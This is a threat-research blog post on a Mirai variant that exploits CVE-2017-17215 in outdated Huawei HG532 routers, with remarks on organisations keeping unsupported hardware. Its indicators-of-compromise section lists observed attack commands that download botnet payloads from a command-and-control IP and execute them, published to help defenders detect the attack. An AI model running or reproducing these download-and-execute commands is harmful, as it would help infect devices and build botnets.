The Huawei HG532 Remote Code Exploit

In what has become an unfortunately common occurrence, an old vulnerability is beginning to become a new problem.   

The Persistence of an Old Vulnerability: Huawei HG532 Routers and CVE-2017-17215 

Users of Huawei HG532 routers have been susceptible to CVE-2017-17215 since its initial discovery in 2017; but confirmation of an exploit didn’t come from Huawei themselves until 2021.  This led to users of these routers being left in the dark for just under four years, until Huawei confirmed the vulnerability and produced workaround instructions.  The workaround was primarily to turn on the native firewall features, place the device behind another firewall, and/or rotate the device password – but no patch was made publicly or easily available as the device in question was an outdated model by the time of the confirmation of the vulnerability. 

While “buy a firewall to put in front of the router or buy a new router” might not be great news to users, two specific issues have been highlighted by this sequence of events: Organizations holding on to no-longer-supported hardware, and threat actors knowing that organizations hold onto no-longer-supported hardware and targeting it.  

The Cymulate Threat Research Group has identified a new Mirai shell variant attack being targeted specifically at this vulnerability (CVE-2017-17215). By investigating the content of the shell payload traffic we can easily see "wget" attempts to the command and control systems at 85.217.144[.]35. These IP’s lead to more Mirai, shell variants, and of course, the ELF payloads that are designed to run on the exploited Huawei router. By leveraging the UPX executable packer, threat actors can avoid standard heuristic detection methodologies and perform the exploit and attack effectively.  The end result is the ability to perform Remote Code Execution, creating a significant security risk associated with this attack sequence. Indicators of Compromise are provided at the end of the article for defenders to tune systems for recognition of the known attack vectors.   

So, why are we seeing a significant spike in attack traffic aimed at a two- to five-year old vulnerability?  That brings us to the second topic of this post: Organizations are holding onto outdated hardware and software well beyond its end-of-support-lifecycle.  In this example, while Huawei did offer a patch to address the problem in the past, the current advisory page only offers the potential workarounds of either putting the device behind another firewall or upgrading to a newer version of the hardware platform. 

Exploiting Outdated Hardware: Risks and Realities 

A large number of organizations do have severely outdated (defined as being no longer supported for security patches by the original vendor) systems and devices within their networks. Not only is this issue a great example of the phenomenon, but there have been others in the recent past that also serve as indicators of this worrisome trend.  Most notably, ProxyShell and its variants (including ProxyNotShell) targeting Microsoft Exchange Servers.  Much like with the Huawei routers in question, older versions of Microsoft Exchange could not – and will not – receive patches to close the vulnerability exploited by these attacks. 

Even though the vulnerabilities themselves were well known, major attacks against Exchange Server were very few to begin with, accelerating several years later.  Threat Actors had come to the realization that organization with older versions of Exchange Server were prime targets. They couldn’t patch the servers, and the process of upgrading to a newer Microsoft Exchange Server version or migrating to Office365 cannot happen quickly, if at all.  Both budget and business operations would be severely impacted by such an upgrade, especially if the organization relied on feature-sets not present in more modern versions and platforms.  Migration to a newer version or to another service would also incur significant downtime.  Based on the number of un-patchable Exchange Server instances visible online, large numbers of organizations of all sizes and in all industry verticals are still struggling with these issues today.  

Likewise, re-engineering the networking paths to put firewalls in front of the impacted Huawei routers and/or replacing them with upgraded models is not something that can be done overnight.  Now that these models will not be easily patched (though it is possible to manually contact Huawei and request the older patch), they have become prime targets for direct attack.  It is no surprise at all that this large wave of attacks against the HG532 routers only started to show up on the radar recently, when mitigation would be problematic if even possible due to the devices being beyond the end of service and support.  

Action Needed: Addressing Outdated Systems and Mitigating Threats 

With the very common reliance on legacy processes (such as custom forms in Exchange Server or the “it works, keep it” operational mentality of outdated hardware), the Cymulate Threat Research Group believes this issue will continue to accelerate with more and more attacks over time.  

Organizations should plan out the removal/upgrade of equipment and software that is either at or approaching end-of-support as quickly as possible, or risk new threat activity purposely designed to take advantage of un-closed gaps which are difficult – if at all possible – to work around.  

The combination of budget and business impact creating a need to forego updates and upgrades makes this situation highly likely to recur in just about any area of software and hardware operations.  The Cymulate Threat Research Group is continuing to monitor threat activity and report on any incidents as they are identified. 

IoC’s recorded as part of the Huawei HG532 attack traffic increase:  

Observed commands and IP address(es):  

• wget http://85.217.144[.]35/condi/condi.arm; chmod 777 condi.arm; ./condi.arm android
• wget http://85.217.144[.]35/condi/condi.arm5; chmod 777 condi.arm5; ./condi.arm5 android
• wget http://85.217.144[.]35/condi/condi.arm6; chmod 777 condi.arm6; ./condi.arm6 android
• wget http://85.217.144[.]35/condi/condi.arm7; chmod 777 condi.arm7; ./condi.arm7 android
• wget http://85.217.144[.]35/condi/condi.m68k; chmod 777 condi.m68k; ./condi.m68k android
• wget http://85.217.144[.]35/condi/condi.mips; chmod 777 condi.mips; ./condi.mips android
• wget http://85.217.144[.]35/condi/condi.mpsl; chmod 777 mpsl; ./condi.mpsl android
• wget http://85.217.144[.]35/condi/condi.ppc; chmod 777 condi.pcondi.pc; ./condi.ppc android
• wget http://85.217.144[.]35/condi/condi.sh4; chmod 777 condi.sh4; ./condi.sh4 android
• wget http://85.217.144[.]35/condi/condi.spc; chmod 777 condi.spc; ./condi.spc android
• wget http://85.217.144[.]35/condi/condi.x86; chmod 777 condi.x86; ./condi.x86 android
• wget http://85.217.144[.]35/condi/condi.x86_64; chmod 777 condi.x86_64; ./condi.x86_64 androidrm $0  

Observed file hash(es): 

• 51ac62a9854f5515611aaba9e097157183bbc894d6f136263085e4553dc5f17b
• 786ef090a24ffde30c88322593bb81c6675045f999f82736cbb3b10f79f6005f
• 4fba341aea81a54b44d59df011d1f14c9d7cb9466c808f6a23e5c9a19b0c9fa0
• 47ff7f1a124ea20abe363aae0b88d65d64abdd69ced088aa1dc12b86d6d642af
• 05f06544286e8989fbcc5993770568cc620decc6a239e253463b2117a8097542
• 3b94273d8bcb3757b531496619b782e7b1281acbeacdb0c99ab8cd0b3981f489
• 97523b4732c4a08b493143650ce287dc3b125f47d3f7c8d825dcec898027b634 

Additional Indicator(s): 

Use of the UPX Executable Packer in conjunction with the above file hashes and/or other unexpected/unusual traffic